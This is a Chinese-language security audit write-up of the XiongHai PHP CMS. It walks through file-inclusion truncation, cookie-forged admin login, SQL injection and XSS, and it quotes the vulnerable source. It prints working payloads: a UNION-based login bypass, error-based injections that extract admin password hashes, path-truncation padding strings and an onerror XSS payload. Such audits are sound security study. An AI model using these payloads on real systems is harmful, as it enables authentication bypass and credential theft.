熊海审计
一、文件包含漏洞
0x01:%00截断
截断大概可以在以下情况适用:
include(require)
file_get_contents
file_exists
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的magic_quotes_gpc为OFF状态
error_reporting(1); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
%00
截断 在这儿不能成功,因为addslashes()进行了预定义字符转义
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:单引号(') 双引号(") 反斜杠(\) NULL (%00)
此外,当magic_quotes_gpc开启时也会有预定义字符转义的功能
0x02:问号(?)伪截断
不受限于GPC和PHP版本,只要能返回代码给包含函数就能执行
在HTTP协议中访问http://remotehost/1.txt
和访问http://remotehost/1.txt?.php
返回结果是一样的,因为WebServer把问号(?)之后的内容当作是请求参数
这里用?
不能截断
0x03:文件路径长度截断
系统文件路径长度限制:
windows259
个bytes
linux4096
个bytes
截断条件:
php版本为5.3.4
以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)
不受限于GPC
用.
和./
都可以截断
../test.txt................................................................................................................................................................................................................................................................................................................................................................................
../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
二、cookie欺骗登录后台
在/admin/files/index.php中发现包含了/inc/checklogin.php
,然后就发现检验方式是cookie…
三、SQL注入
在login.php中看看如何处理登录的:
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
先查用户名信息,然后对比数据库中的passwd是否和我们输入的一致
0x01:UNION注入
没有过滤直接将$user拼接到SQL语句从而造成问题
可以配合union注入,到数据库查看发现有8列数据,passwd在第四列
构造如下:
账号: 1' union select 1,2,3,md5(4),5,6,7,8#
密码: 4
0x02:报错注入
die('SQL语句有误:'.mysql_error());
注意到会拼接返回错误信息,报错注入
1' and extractvalue(1,concat(0x7e,(select username from manage),0x7e))
上述两种方式受限于php.ini 中magic_quotes_gpc 设置(因为我们用到了单引号),如果magic_quotes_gpc=OFF就可利用,ON 则不可利用
0x03:
/files/content.php
和/files/software.php
两处中相同的功能代码,没有过滤,没有用单引号保护。直接可以报错注入
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id"; @mysql_query($query) or die('修改错误:'.mysql_error());
1 or updatexml(1,concat(0x7e,substr((select group_concat(password) from manage),1,30),0x7e),1)#
三、XSS
0x01:反射型xss
/files/contact.php
存在反射型xss
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
page=<img src=x onerror=alert(/xss/);>
0x02:存储型xss
在/files/submit.php中将content内容给过滤。
$content=addslashes(strip_tags($content)); //过滤HTML
在评论处可以提交昵称、邮箱、网址、评论内容,但是显示评论和留言的地方有昵称,所以只有昵称处有存储型XSS。